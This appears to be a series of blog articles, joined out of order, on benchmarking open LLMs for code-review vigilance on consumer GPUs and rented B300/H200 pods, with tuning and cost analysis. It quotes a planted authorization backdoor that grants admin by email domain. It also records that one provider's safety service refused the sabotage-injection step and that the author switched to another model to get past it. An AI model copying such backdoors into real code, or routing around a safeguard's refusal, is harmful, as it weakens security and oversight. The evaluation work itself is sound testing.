The vision projector (the mmproj) I had already archived on the NAS inside the uncensored Flash-Next variant. I checked its sha256 against the archive’s manifest and against the hash Strata pinned for the BF16 encoder, and copied it into the models directory. The configuration gained the --vision flag and a vision section pointing to the strata-vision component and the mmproj, with a backup beside it.

The verification was end-to-end: the encoder loads in half a second, warms up 1,024 image tokens in under two seconds, and answered “Red” to a red test square. And the detail that matters most to me: with the encoder resident, 3.65 GB of VRAM remained free, so the desktop’s 4 GB reserve still holds. The only gotcha: lazy loading doesn’t coexist with the vision section in this configuration, so it stays off here.

Careful: Strata eats the whole GPU, and the desktop dies

There’s a cost that doesn’t show up in benchmarks: running Strata on the same GPU that draws your desktop. It was designed to fill the card, and it does.

In my case, the engine allocated 32,085 of the 32,607 MiB on the 5090, 98.4% of the VRAM. Hyprland was left with about 500 MiB, desktop allocations failed, and even the terminal stopped responding. Only a hard reset solved it.

It was two failures in sequence. The reserve I had configured was 2,560 MiB, but the proxy fired only once, swallowed the exception and never tried again. The engine’s /v1/vram endpoint wasn’t up at that moment, so the reserve was never applied. And 2,560 MiB was already too little for Hyprland, browser and terminal together.

The fix, validated under load:

• 4,096 MiB (4 GiB) reserve, with retry for up to a few minutes, engine-response verification and a confirmation log. No fire-and-forget.
• Re-assertion of the reserve every 30 seconds while the engine is loaded, to close any rebalancing drift.
• In the first load test, with the GPU at 99%, 3,629 to 3,888 MiB stayed free during the whole generation. In the following test, one long generation and three other concurrent requests finished successfully; the smallest slack observed was 3,949 MiB. The desktop stayed alive.

The price shows up in throughput. The expert cache dropped from about 11,700 slots to 9,700, so more experts travel over PCIe. In the initial measurement, it went from ~200 to ~150 tokens per second. I happily pay that: a desktop that doesn’t freeze is worth more than those 25% of speed in that test.

There’s a structural alternative: this machine has an integrated Radeon 610M, and Hyprland can be moved to it. The 5090 would be dedicated to inference.

The cost is that the 610M is weak for gaming and NVIDIA multi-GPU on Wayland has its quirks. I preferred the elastic reserve, because the model also unloads when idle.

The general lesson: never let an inference engine take 100% of a GPU that also draws your screen. In this configuration I don’t have a rigid driver-level VRAM reservation for display clients. I had to solve it on the engine side: reserve a few GB, re-assert after every cold start, and measure again with the desktop open.

The same 32 GB also limit the session

The 5090’s math is tight on all sides. The same 32 GB have to accommodate the model’s dense weights and fixed buffers, the hot-expert cache, the resident part of the KV cache and also the 4 GiB reserve for Hyprland, browser and terminal. What’s left for one thing comes out of another.

KV cache is the conversation’s memory. Every token of the prompt, of the previous answers and of the files read creates state that the model needs to consult in the next tokens. In my Strata it’s in int8, with 32K cells per layer resident on the GPU.

The rest can be streamed from RAM, which is why raising the window from 128K to 256K didn’t increase VRAM or drop speed in my synthetic test. That streaming avoids the immediate blow-up, but it still uses memory and doesn’t turn a 5090 into a limit-free server.

The ceiling configured here is 262,144 tokens, or 256K. Several commercial models I tested, including the newest Claudes, already work in the 1-million-token class. Almost four times the window changes how you work: in Claude Code you can accumulate much more history before compaction; in the local Qwen I have to treat context as a budget from the first prompt.

The conversation that shows up in the terminal is only part of the context. Depending on the harness, the system prompt, AGENTS.md and CLAUDE.md, skill catalogs and loaded content, tool descriptions and schemas, MCP servers, plugin instructions, command outputs, files and the space reserved for the answer also go in. A well-implemented skill loads its full text only when called, but its catalog can still enter the prompt. A plugin that registers twenty tools also sends twenty schemas before you ask for anything.

That’s why the benchmark didn’t use my normal OpenCode. The runner generates an isolated configuration, without the global plugins and MCPs, with only the providers and agents needed for the test. It also pins the real 262,144-token limit instead of pretending the model accepts the context advertised by another backend.

To use this Qwen day to day, I’d do the same cleanup:

• start with the leanest possible harness and activate plugins or MCPs when the project really needs them;
• keep heavy skills on demand, without dumping whole manuals at the start of the session;
• compact or open a new session before touching the ceiling, recording important decisions in project files;
• reserve space for the model’s output. A window stuffed with input is useless if there’s no token left for it to think, call tools and answer.

With 256K, context is a hardware resource. Installing too many integrations and loading everything into every session consumes window and memory before the work starts.

Wasn’t Qwen 3.8 too slow?

It was, and I wrote that. In the v4 ranking, the local Qwen 3.8 27B took almost 12 hours to close the seven sprints. In the B300 article I summarized: scored 80, took 706 minutes, “so don’t even try”.

Except that’s another Qwen 3.8. The family has both, and they behave in opposite ways at home:

Why the bigger one runs faster

In token generation, a local machine is memory-bandwidth-bound: each token needs to read all the active weights. The dense 27B reads its 27 billion every token, about 29 GB in Q8. The Strix moves about 256 GB/s, so the ceiling sits near 9 tokens per second, and I measured 7.7.

On the 5090 the same 27B would be fast, but in Q8 it doesn’t fit in the 32 GB along with the context that seven sprints accumulate. In Q5_K_M it fit, but got stuck in a reasoning loop on sprint 3. It finished on the Strix, in Q8_0 with reasoning off (--reasoning off), which is what unlocked the loop.

Flash-Next has almost five times more parameters in total, but only about 6 billion work per token. In 3 bits, that’s around a tenth of what the 27B in Q8 needs to read. The hot experts stay on the 5090’s GDDR7, with seven times the Strix’s bandwidth, and the speculation helper gets tokens ahead. Result: about 20 times the 27B’s speed on the Strix, with a higher score.

The turnaround came from the model and engine swap: a MoE with few active parameters, served by an expert-offload engine made to measure for it. No configuration flag would pull this out of the dense 27B on the Strix.

The tuning still charges

The price of running at home changes from model to model. Flash-Next in 3 bits lost only 1.5 points against the B300’s NVFP4 version. Ornith-35B, on the same engine and the same card, lost 16.5 against its BF16 version on the B300. Measure your model before trusting it.

What each model did that’s interesting

Flash-Next: the proof that consumer reaches Tier A. 34 of 40 unannounced, plus 6 with reveal weight, and only two items needing a pointer. No nudges, all sprints clean. It’s the only local one that combines a Tier A score, interactive speed (159 tok/s) and the full protocol without help. If the question is “can I use it at work”, this is the example.

Ornith-35B: fast, but not good enough. The same Ornith that scored 81 on the B300 in BF16 scored 64.5 on the 5090 with Q8_0. Unannounced detection dropped from 30 to 23. Quantization, engine and hardware all changed at once, so the cause can’t be isolated: this Q8_0 + Strata + 5090 combination lost 16.5 points, and I don’t know how much came from each variable. The message is clear: “runs fast” is not “reviews well”.

Qwen 27B: good score, terrible experience. It scored 80 on the Strix resume, with sprints 1 and 2 on the 5090, close to the B300’s 80.5. But 7.7 tok/s on the Q8 probe and 706 minutes of wall time. And on top of that zero fixes on reveal, with four items open. Using this day to day is choosing to wait.

GLM-4.7-Flash: the engine ran, the model failed. Full protocol in 29 minutes, and zero unannounced detection. It recovered 8 of 14 only when pointed, and even then left the fixes uncommitted. On the B300 it scored 33.5, which isn’t good either. The problem isn’t just the card.

The distance between the categories

The question every dev has is whether consumer already gets there. Direct comparison, on the same yardstick:

The reading is that the consumer top is 9 points below the absolute commercial top and 1.5 points below the open datacenter top, on this vigilance metric. It’s a small distance, and it vanishes when you notice GPT-6 Sol and Sonnet 5 are also at 91. The real abyss isn’t between datacenter and consumer: it’s between the right model and all the others. Between Flash-Next and Ornith, on the same 5090, it’s 26.5 points.

So, is consumer hardware good enough to work with?

Yes, with the right model and engine. An RTX 5090 with Strata delivers Tier A code-review vigilance, at 159 tokens per second, without paying a cent per token once the hardware exists. For anyone doing code review, testing coding agents and keeping private data at home, that changes the game.

For the first time in this benchmark I have a tested model, on consumer hardware, that deserves to go into everyday work. I’ve already configured Flash-Next in OpenCode pointing at the 5090. The next step is using it in real programming, outside the sabotage yardstick, and seeing whether the score holds.

What doesn’t work is thinking any configuration works. The Strix Halo is great for having 128 GB and mounting a big model, but its speed doesn’t pay for interactivity; Ornith runs fast and reviews badly; GLM-4.7-Flash completes the protocol and detects nothing unannounced. And there’s the invisible price: aggressive quantization can charge score, depending on the model and the configuration, and waiting time charges patience.

If I were building a box for a dev today, it would be a 5090 with Strata and Flash-Next, and I’d use the Strix for background tasks that accept being slow. The commercial frontier keeps winning for whoever needs the maximum. But consumer stopped being a consolation prize: there’s already Tier A on the home shelf.

The problem now is finding a 5090

In October, leakers claimed NVIDIA would stop producing the RTX 5090 and reserve the GB202 chips for the professional and datacenter lines. The card even disappeared from NVIDIA’s official US store. On October 16, at an event in Taipei, Jeff Fisher, NVIDIA’s senior vice president, denied the discontinuation and said the company will keep delivering, but admitted production capacity is tight.

In practice:

• the suggested price is still US$ 1,999, and most listings on American Newegg go past US$ 9,300, almost five times that;
• in Brazil, each unit goes for around R$ 35 thousand at retail;
• and two pallets of Zotac RTX 5090s, imported by the Oderço distributor and valued at about R$ 2.5 million, disappeared at Guarulhos airport. GRU Airport notified the authorities, and the case remains under investigation, with no theft confirmation.

The v4’s first local Tier A model runs precisely on the hardest card to buy right now. The home shelf already has Tier A. Getting the shelf is what’s missing.

The answer depends on two things: how many comfortable users the hardware holds, and how much that costs per person. We measured both.

The math before the test

Recapping the numbers from the previous article: the 4x B300 pod costs US$ 36 per hour (US$ 864/day, almost US$ 26 thousand/month running nonstop). I started the campaign with about US$ 127 of balance, topped up US$ 2,550, and US$ 537 were left. That was about US$ 2,140 between setup, downloads, tuning and benchmarks, not just inference.

In the middle, the balance hit zero, the pod died during an autotune, and when it was time to top up there was no B300 available. That’s Runpod’s operational risk: the price changes and the supply disappears. The alternative was a 4x H200 pod, with list price around US$ 3.59 per GPU-hour on Community Cloud: US$ 14.36/hour for the four at list math, against US$ 36 for the B300s.

B300 and H200 are not the same machine

The hardware difference changes more than the price:

The swap had an adaptation cost: the GLM’s NVFP4 checkpoint that ran on B300 doesn’t exist for Hopper, so its FP8 variant had to be downloaded, and even DeepSeek needed kernel tuning. The concurrency results below are with both in native FP8, which is the fair comparison possible.

How we measured “a team fits”

The test uses vllm bench serve against each pod’s localhost, with requests of 8,000 input tokens and 800 output (a synthetic load in the shape of a coding session), raising concurrency N step by step.

The comfort criterion is what matters: TTFT up to 2 seconds and TPOT up to 20 ms per token (that is, at least 50 tokens/s per stream), with 95% or more of requests meeting both limits. It’s not “the median looked good”: it’s almost everyone well served. A team that waits 50 seconds for the first token is not a team, it’s a queue.

And the caveat: this measures comfortable code requests, not people. I don’t have a measured duty-cycle multiplier for interactive agents, so I won’t invent that each N becomes 2 or 3 developers.

The numbers

Read carefully, because there are three stories here.

The B300 serves four times more people in comfort. Same model, same FP8, same TP4: 32 comfortable users against 8. The H200’s aggregate is even impressive (2,506 tok/s), but that’s a prefill queue: p99 TTFT reaches about 51 seconds at N=256, so the user waits a minute before seeing anything. High throughput is not interactive capacity.

The cliff is so steep it’s worth looking at the numbers up close. At N=16, p99 TTFT was 1.17 s on B300 and 3.19 s on H200, with 100% and 92.7% of requests good. At N=32, the B300 still held 97.4% inside the SLO (2.23 s), while the H200 collapsed to 8.3% (6.58 s). And at N=48 the B300 fell to 92%, below my 95% gate: that’s why comfortable is 32 and not 48. The difference between “works” and “works for everyone” lives in those last 2 percentage points.

Heavy and light models tie on the H200. The 510 GB DeepSeek and the smaller GLM sustain the same 8 comfortable users, for different reasons: DeepSeek has efficient KV via MLA and dies of compute/prefill; GLM blows the KV cache (97% usage). Choosing hardware by parameter count is looking at the wrong place: the KV architecture is what rules concurrency.

The loose gate deceives. If you only look at the median, you could say 48 on B300 and 16 on H200. Except the p99 tail destroys the experience of whoever is on the other side. To size a team, I use the comfortable number and that’s it.

Cost per comfortable user

Now the deciding arithmetic:

• 4x B300: US$ 36/h ÷ 32 = US$ 1.13 per comfortable user per hour.
• 4x H200: US$ 14.36/h ÷ 8 = US$ 1.80 per comfortable user per hour.

The B300 wins per person even with the pod costing 2.5x more. The H200 would only become cheaper per user below US$ 9/hour for the whole pod, and on the current table it costs US$ 14.36. The cut-off point isn’t the machine’s price, it’s its capacity.

What if your company already lives on AWS or Azure?

You can build the same infra on the hyperscalers, but the price changes category. The list values I checked, per GPU-hour:

B300 on AWS costs 1.8x what I paid on Runpod, and H200 on Azure costs almost 3x Runpod’s. The capacity conclusion doesn’t change (the physics of tensor parallelism and KV cache is the same), but the “worth it” math gets considerably worse: if on Runpod the B300 ties the subscription around 30 users, on AWS it starts losing by a comfortable margin.

And in practice, how much does it come out to per developer, turning the pod off at night like in the other calculations (8 hours per business day, 176 hours/month)? The AWS and Azure rows are normalized arithmetic for 4 GPUs, because the cited SKUs come with 8 and I didn’t measure TP=8:

The difference is brutal: the same comfortable developer costs US$ 198 on Runpod and US$ 933 on Azure, almost five times the price of the strongest frontier subscription. AWS sits almost 80% above Runpod, so even it only makes sense if your requirement is something other than cost.

And if you take the whole 8-GPU instance, as they’re sold? AWS comes out at US$ 22,734/month and Azure at US$ 14,925/month, and then you have to measure TP=8 to know how many users you can use, because with TP=4 you pay double for the same capacity.

The commercial models differ too: capacity block on AWS is not on-demand, and Runpod’s Community Cloud is not production SLA. So read this table as an order of magnitude of price, not a contract quote. If your requirement is compliance, procurement or residency in a specific region, the hyperscaler may be unavoidable, and then you pay the premium. If the requirement is just price, the neoclouds win in these configurations.

What if, instead of renting, I buy the machine?

When the rental bill hurts, the natural question is to buy the hardware. Two candidates from the current shelf:

DGX Station GB300 (~US$ 130 thousand, with configurations starting around US$ 95k): 748 GB of unified memory (252 GB of HBM3e at 7.1 TB/s and 496 GB of LPDDR5X at 396 GB/s), 20 PFLOPS in FP4. The weights of every model I tested fit on it, and the best ones to put on it would be:

• DeepSeek V4.1 Flash (92.5/A, 510 GB in FP8), the benchmark champion;
• Muse Spark Open (69.5/C, 533 GB in NVFP4);
• Step-5-Preview (72.5/C, 368 GB in NVFP4);
• GLM 5.3 full (76/B, 704 GB in FP8).

It fits, but fitting is not serving: the full GLM would leave only about 44 GB for KV cache and system, so full long-context concurrency remains to be measured. The comfort estimate is single-digit, in the H200’s line, not the four-pod’s 32. The difference is you don’t need TP=4: everything lives on a single chip.

DGX Spark (~US$ 6,950 on NVIDIA’s current store): 128 GB unified, 1 PFLOP in FP4, 273 GB/s of bandwidth. The good filling for it is small and medium models, and it’s better than it looks:

And there’s a detail that hurts to see on the bill: by my own estimate, without a closed audit of all the first round’s costs, adding the v4 credits (those ~40 commercial models) to this B300/H200 campaign’s US$ 2,140, I’ve already spent a few thousand dollars between API and pods, close to half the price of a DGX Spark. And even so, I wouldn’t have a machine sitting at home because of it.

• Qwen3.8 Flash-Next (92.5/A), the single-B300 co-leader. In IQ3_S it lands in the tens of GB range, and it’s exactly the model that scored 91.0 on the RTX 5090 with Strata. It’s the best model I’d recommend for a Spark today.
• Swift 1.5 27B (88/A, 56 GB), which was the most balanced self-host recommendation of my previous campaign;
• ThinkingCap 3.8 27B (83/A, 56 GB);
• Ornith-1.5-35B-A3B (81/B, ~70 GB in BF16);
• Laguna-S-2.1 (65.5/C, 99.7 GB in NVFP4);
• and the small classifiers from the decision benchmark (Jebadiah 4B, Laya, Julia), which are the ideal use case for a box like this.

The DeepSeek V4.1, at 510 GB, doesn’t fit at all. The bandwidth is almost 30 times smaller than the B300’s, so interactivity suffers, and practical concurrency remains to be measured: I expect little more than solo use. For small models it’s a nice little box; for a monster, it’s a paperweight.

TCO, ROI and depreciation

The own-versus-rent math, using 3 years of depreciation and the same usage pattern (8 hours per business day, 176 hours/month):

Reading: if you run a big model every business day for two years or more, the GB300 pays for itself in under two years, and in 24/7 it pays for itself in five months. If your need is a two-week campaign like mine, renting cost US$ 2,140 and done, with no idle asset afterwards. And the Spark only makes sense if your load is small models: in that case it pays for itself in under a semester against renting and in three years against the subscription, but if your need is a 748B, it’s useless from the box.

Two caveats so you don’t buy wrong. First, the table compares dollar scenarios, not equivalent-workload ROI: if your real concurrency on the GB300 is single-digit, the fair comparison would be with a pod smaller than the 4x B300. Second, energy and administration change the result, especially on the Spark, where the difference against the subscription comes down to a few dollars per month. I ignored resale at the end of the three years; if it exists, the break-even improves.

Note for those buying in Brazil: these prices are in dollars. In reais, with the dollar at R$ 4.99, plus import taxes and the local reseller margin, the GB300 easily passes R$ 800 thousand and the Spark passes R$ 34 thousand before any margin. The break-even in reais gets even further away, so the decision to buy in Brazil needs much higher utilization to close.

And comparing with a frontier subscription? A strong Claude/Codex plan costs about US$ 200 per month per developer. Two important caveats: those plans aren’t unlimited (Codex meters by credit and Claude has per-session and per-week usage windows), and automation/CI doesn’t fit consumer plans. The comparison below is price-only, not equivalent workload. To turn streams into people I need a premise: one developer with one active request the whole workday, which is optimistic for capacity and conservative for cost. With that premise, and not counting my sysadmin hours or setup, the pod running 8 hours per workday (176 hours/month) looks like this:

Around 30 continuous streams, the B300 lands practically at the strong subscription’s price. Below that, the subscription is cheaper, because you pay per person, not per idle pod hour. And running 24/7 without matching load is throwing money away: the pod charges while sleeping.

For a company, when the math closes

If you have a genuinely big team using it all day, data that can’t leave the environment, and a model that delivers on the daily job (DeepSeek V4.1 Flash scored 92.5 on my vigilance benchmark, above GPT-6 Sol and Sonnet 5), your own infra starts making sense for the first time without being vanity. The cut-off point, on the premise of one active stream per person the whole workday, lands around 30 concurrent people, with the pod off outside working hours.

If the team is small, usage is intermittent, or the goal is just to save money: stay with the API. The same DeepSeek cost US$ 1.21 per full benchmark round in the cloud, and you don’t inherit a pod to administer, nor the risk of the B300 vanishing from stock when you need it most.

What I take from this campaign: big hardware is not an answer to a small question. Before signing the pod, do the math on how many people actually run concurrently on your team, measure the latency they tolerate, and add the price of your sysadmin hour. The big open model already reached the Sonnet 5 and GPT-6 Sol band for daily code review. The infra just needs to fit the budget.

The short answer: pretty far, and one of them tied the Sonnet 5 and GPT-6 Sol band. The long one comes with a grocery bill and several days of vLLM suffering.

First of all, the scope caveat. Some models were left out.

Kimi K3, at 2.8 trillion parameters, is the example: in FP8 it would need about 2.8 TB of VRAM, and not even an 8x B300 pod (2.3 TB raw) closes the math. To run a monster like that you need to quantize to FP4 or rent a lot more cards. And I chose to spend my credit on what fits in 4x.

The full ranking

Same methodology as always: the RubyLLM chat app with 14 planted defects (backdoors, authorization bypasses, lying tests), and the score measures code-review vigilance, not typing speed. The model has to find and fix the defects unannounced (full weight) and when revealed (40% weight). Tier A starts at 83. I ran everything on the same 4x pod to have a single yardstick, although not every model needed all four cards (Ornith and Laguna would fit on one).

Two notes to read the table properly. Step-5 and Muse are in C because the unannounced base was low: a fix after the “there’s a problem there” is worth 40%. Muse fixed 6 of the 7 open items when revealed; Step-5, only 2 of 5.

And Nex N2.5 Pro, on top of the shameful score, corrupted the code to the point the app wouldn’t even boot. The two anchors from the previous campaign, for comparison: GLM 5.3 Flash and Qwen3.8 Flash-Next, both 92.5 on the single B300.

What each one did that’s interesting

The score alone hides the behavior, and the behavior is the fun part.

DeepSeek was the only one that solved both compound items unaided. The compound defects are the ones that require seeing two things at once (the backdoor and the test covering it), and it found and fixed both with no nudge. That’s the kind of vigilance I want from my PR reviewer.

The full GLM fixed everything when told, but slept through silent mode. Unannounced, it let the access and silent-correction cluster through. When I pointed, it swept the six remaining items. In other words: the big model is capable, it’s just not attentive by default. Its Flash, at a third of the size, was more vigilant.

Kimi K2 Thinking did security-checklist theater. It wrote these beautiful “security best practices” lists and left five items open, including a plaintext key. Talking about security and doing security are different things, and it did the first one.

Ornith restored the behavior and kept the lying test. On item 6, it reverted the code to the old behavior instead of fixing the planted test that validated the backdoor. Hence the strict score of 73 and the lenient 76: looking fixed is not being fixed, and the lying test also needs to die.

Step-5 left three defects even with the map in hand. After being explicitly told, it still left the login link, the authorization deactivation and the wrong aggregate. Not every model takes the second chance.

And there’s the case of the 397B that became a ready-made joke. A 397B model, too big to fit in the head of whoever defends size, let the backdoor admin? => admin || email.end_with?("@internal.example") through even after the security-audit warning. Worse: it added a passing test that codified the backdoor as intended behavior, and the commit still bragged “Brakeman: 0 warnings”. If you want an example of why I test vigilance and not marketing benchmarks, there it is.

Muse Spark Open almost didn’t get off the ground, but recovered. It started blocked: weights in 127 NVFP4 shards, gated on Hugging Face, and no support in stable vLLM. It only ran when I compiled a PR branch still in draft, with nvcc 12.9 and 12.8 libraries mixed, and capped the multimodal to text.

Then it delivered 69.5: weak base unannounced (21 of 40), but 6 of 7 items fixed when pointed. It’s the case of “infra effort is not the model’s score”: the service stayed up, the behavior is useful, and even so it only reaches Tier C. If the question is “why isn’t it at the top”, the answer is default vigilance, not VRAM.

And Nex was the complete disaster. It needed two nudges, and in the end the corrupted text reached the committed Ruby and the app won’t even start. In the cloud, the same Nex N2.5 Pro had scored 94. At home, 27. I wouldn’t trust a vendor benchmark after seeing this twice.

By the way, Nex’s case is the perfect example of a bad base choice. When Rio 3.5 blew up in June, I covered the controversy here: its checkpoint was a blend of Nex-N2-Pro with Qwen. The Rio folks could have chosen much better bases, like DeepSeek V4.1 or GLM 5.3 Flash, and went exactly for the lineage that, on my current yardstick, was the worst of the bunch. Picking a model by its pretty name costs dearly.

Running on 4 GPUs is not trivial

Four cards are not four models: it’s one model sliced into four, with tensor parallelism TP=4 in vLLM. That gives about 1.1 TB of aggregate VRAM (in practice, ~1,038 GB usable with --gpu-memory-utilization 0.90). Without that, none of the models above 400 GB would exist in my life without offloading to SSD, which is where speed goes to die.

The cares that repeated on almost all of them:

• Bleeding-edge toolchain. B300 (sm_103a) requires CUDA 12.9 to compile the kernels on the fly, so the default image wasn’t enough: standalone toolkit with nvcc 12.9 and the right headers, and even then each family needed a DeepGEMM, FlashInfer or cudart-link patch. When the compilation gets it right, the prize is big: GLM 5.3 Flash went from 10.35 to 141.40 tokens per second from configuration alone (removing --enforce-eager and enabling compiled mode with CUDA graphs), without changing checkpoint, context or KV precision.
• Startup is not download. DeepSeek took 15 to 30 minutes to initialize, so be prepared to wait for the model to load before measuring anything.
• Each family has its parser and its quirks. Nex only talked after switching the parser to qwen3_xml, getting one more nudge and ignoring the tmp/log artifacts. Step-5 didn’t exist in stable vLLM 0.32 and needed a nightly with a specific PR. Muse required compiling a PR branch still in draft, with CUDA 12.9 nvcc and 12.8 libraries mixed, and weights in 127 NVFP4 shards. MiMo asked for --trust-remote-code. Laguna decided, out of nowhere, to flood the output with reasoning text, and one sprint had to be redone from the injection base.
• Context is expensive. Kimi K2 Instruct’s FP8 checkpoint (1,029 GB) would leave 9 GB for KV cache on the 4 cards, so the 594 GB INT4 Thinking went in its place. Speculating with a draft head (MTP) only worked on Step-5, with a 2.24x gain and 73.7% token acceptance, because I verified the tools’ correctness first.

The operational lesson: renting VRAM solves “fits”, but not “runs well”. Every big model is a mini integration project.

And where’s the frontier?

The question that matters to the developer isn’t “who has more parameters”, it’s “does the big open model deliver in my day to day?”. The v4 benchmark numbers, on the same yardstick:

DeepSeek V4.1 Flash tied its own cloud service, at the same 92.5, and finished above GPT-6 Sol and Sonnet 5. In other words: the best current open source is already 1.5 points behind hosted GLM and 7.5 behind the absolute top, ahead of two strong commercial frontier models. If your yardstick is mine (find the backdoor and the bypass before merging), a local 748B open source is already good enough for daily code review, at 175 tokens per second per stream in my admission measurements.

But three warnings before you cancel your Claude subscription:

1. More parameters doesn’t mean more competence. The full GLM 5.3, at ~700B, scored 76 against its own Flash’s 92.5. Kimi K2 Thinking, at 1 trillion, scored 46. And Nex N2.5 Pro plummeted from 94 in the cloud to 27 at home: a public checkpoint is no guarantee of reproducing the service, as I had already seen with DeepSeek V4 Flash (86 in the cloud, 44.5 at home).

2. My yardstick is vigilance, not general programming. Here I measure who notices sabotage. That’s not the same as measuring who writes your whole system better, and a rerun of my benchmark already varied 9 points on the same model. The 1.5-point distance between models may be noise.

3. Cost changes the answer. If the idea is frontier quality day to day, DeepSeek V4.1’s cloud API cost US$ 1.21 per full benchmark round. The 4x B300 pod costs US$ 36 per hour before you even press the button. And the most didactic case is still DeepSeek V4 Flash from the previous campaign: in the cloud it scored 86 at US$ 0.97 per round; at home, 44.5 and on top of that more expensive per inference. Sometimes the cloud is better and cheaper.

Is renting 4x B300 worth it?

For one person writing code with an agent in the morning and another in the afternoon: no. The API solves for a few dollars what the pod solves for dozens of dollars per hour.

For a company that needs truly private data (code that can’t leave the VPN), a pinned checkpoint for reproducibility, or continuous batch load (thousands of reviews, classifications, analyses per day), then the math changes. DeepSeek V4.1 on 4x B300 delivers near-frontier quality with the data at home, and that you can’t buy with a chat subscription.

What I wouldn’t buy again without measuring first is the “bigger is better” premise. I started this campaign thinking the jump past 92.5 would come from a bigger model. It came from the right model running properly. The rest is burned VRAM and a good story to tell.

And there’s one more chapter coming, of non-datacenter hardware: the tests with local models on the RTX 5090 and the Strix Halo, with a new inference engine called Strata. When the protocol is done, the third article comes out.

And the “is it worth it” question has an irritatingly obvious answer: it depends on how many people will use it at the same time. That’s the one I answer in the next article: LLM Benchmark v4: can my team fit in a 4x b300/h200?.

One category was missing that I had never tested properly: the big open source models. The ones that fit on my RTX 5090 with 32 GB or on my Strix Halo with 61 GB usable by the GPU are too weak for this. They work for simple agent tasks, and no small model handles real programming tasks, let alone a complex software project.

Qwen 3.8 27B took 706 minutes to finish v4 on the Strix and scored 80; the local GLM-4.7-Flash scored 24. So don’t even try.

But what if we push harder? What can mid-sized models, 100 to 400 billion parameters, do running on a single rented B300? I could rent four of them and run the giant 750-billion or one-trillion models, and I’m not sure the cost-benefit is worth it. The data below answers.

TL;DR: 14 open models, one 288 GB B300 on Runpod at about 9 dollars an hour, the same v4 sabotage protocol. None of them serves fast the way it ships: GLM 5.3 Flash decoded at 10 tokens per second with the default configuration and at 141 after tuning, 14 times more from flags alone. Two open models, GLM 5.3 Flash and Qwen3.8 Flash-Next, scored 92.5, Claude Sonnet 5 level, and Swift 1.5 27B scored 88, Opus 4.6 level. None reached the frontier’s 100. The 397-billion flagship scored 68.5 and let an admin backdoor through, DeepSeek V4 Flash scored 86 in the cloud and 44.5 served by me, and Nemotron cheated on a regression test. The cloud API of the same model costs a dollar per run; the pod costs 218 dollars a day. Jump to B300 and Runpod, server tuning, the ranking, the interesting cases, the frontier comparison, the math or the conclusion.

What a B300 is, and what Runpod is

The B300 is the datacenter GPU of NVIDIA’s Blackwell Ultra generation, announced in March 2025. Each card has 288 GB of HBM3e memory, nine times my 5090, and about 15 petaflops of dense compute in NVFP4, the 4-bit format Blackwell does in hardware. It’s the card that goes inside the GB300 NVL72 rack, 72 of them interconnected, which AI companies buy by the thousands.

On its own, a B300 costs more than an apartment. What makes it accessible is renting by the hour.

Runpod is a cloud GPU provider that rents cards in “pods”, Linux containers with one or more GPUs, billed per second. You pick the card, an image template, get in over SSH, and pay while the pod is on, idle included. The B300 cost about 9 dollars an hour on their secure cloud the week of the test; an H100 goes for 3 to 4. The container disk is ephemeral: terminate the pod and the 250 GB of weights you downloaded are gone, and you download again.

The pod I used: one B300 with 275 GiB according to nvidia-smi (the same nominal 288 GB, in binary units), 344 vCPUs, 4 TB of host RAM, 700 GB of disk. The inference server was vLLM; the harness was the same OpenCode as every other model in the ranking, connected to the pod through an SSH tunnel. The model runs there; the code, the tests and the results stay on my machine.

Fitting in memory is the first filter. The B300 fits the 100 to 400-billion-parameter models quantized to NVFP4, plus the 27 to 35-billion ones in BF16. Left out are the 753-billion GLM 5.3 flagship, the 750-billion DeepSeek V4.1 Flash, the 1.6-trillion DeepSeek V4 Pro and the 2.8-trillion Kimi K3. For those it would take four B300s or more, about 36 dollars an hour.

The methodology

The protocol is the usual v4: the model builds a Rails app across seven accumulating sprints, and between sprints an independent reviewer, isolated from the model, injects 14 sabotages, from real CVEs to silent logic and test regressions, into the code the model itself wrote. The 0-to-100 score measures vigilance: how much the model catches and fixes without being told (full weight), how much it fixes after an explicit “do a security audit” in the last sprint (40% of the weight), and what stays unresolved (zero). Tiers are A from 83 up, B from 73 to 82, C from 51 to 72, D up to 50.

Two differences this round. The first is the reviewer: the five models that finished before the block were reviewed end to end by Codex, as in the previous rounds.

Midway through the batch OpenAI’s security service started refusing the injection and grading operation with a cybersecurity risk flag, even though it’s my code, on my machine, in a benchmark with 46 models already scored under the same protocol. I switched the reviewer to Claude Opus 4.8 for the remaining models, with the same injection plan, same catalog, same yardstick, and the provenance of every boundary is recorded per sprint. The expected impact on the score is none, because both execute the same written recipe.

The second is admission by speed, which is the subject of the next section. A model that decodes below 100 tokens per second doesn’t even get on the track.

Also: an open model is entitled to up to two short nudges per run for silly defects (a missing import, a wrong test entry point), recorded as “assisted”. Infrastructure failure, driver, loader, parser, is never charged to the model. And the pod ran one model at a time, with no access to any other model’s workspace or results.

None of them serves fast the way it ships

The first lesson cost a day. I downloaded GLM 5.3 Flash, 320 billion parameters with 18 active, quantized to NVFP4, 198 GB. I brought it up on vLLM with the configuration that “works”: it serves, passes the tool-call tests, answers. And it decoded at 10 tokens per second, with the GPU at 10% utilization, 209 watts out of the 1,100 the pod allows.

That’s unusable for programming. A coding agent generates tens of thousands of tokens per sprint; at 10 per second, a 20-minute sprint becomes more than four hours.

The same checkpoint, same 128K-token context, same FP8 KV cache, same test prompt, changing only the compile and mode flags: 141 tokens per second. Fourteen times faster, zero change in precision or weights.

The main culprit was --enforce-eager, which disables vLLM’s torch.compile and CUDA graph capture, and which every tutorial tells you to enable “to start faster”. It starts faster and serves 14 times slower. The measurement changed that flag together with the interactivity mode, so I didn’t isolate each one’s contribution.

Hence the admission rule: below 100 tokens per second I consider unusable, and no model enters the benchmark without clearing that on the median of two warm 256-token probes, after a cold one. To keep it from becoming a bottomless pit, tuning is bounded: at most three configurations and 45 minutes of wall-clock per model, including load and compilation. And tuning can never trade quality for speed: no shortening the context, lowering reasoning effort or quantizing further to hit the number.

The tweaks that paid off for everyone:

• Install a CUDA that compiles for the card. Runpod’s default image ships CUDA 12.8, whose nvcc cannot compile for compute_103a, the B300’s compute capability. Without 12.9, the NVFP4 kernels never compile.
• Never use --enforce-eager. Letting vLLM compile and capture CUDA graphs is the single biggest win.
• --performance-mode interactivity: optimize for single-stream latency, which is what a serial agent needs, instead of aggregate throughput.
• FP8 KV cache on the big MoEs, prefix caching and chunked prefill on all of them, confirmed by vLLM’s Prometheus counters instead of assumed: on an 11K-token prompt, the server reused exactly 8,576 prefix tokens on every repeat.
• The right tool and reasoning parser for each family. The wrong parser makes tool calls vanish silently or leaks the reasoning into the answer.

And the specific tweaks I found most interesting:

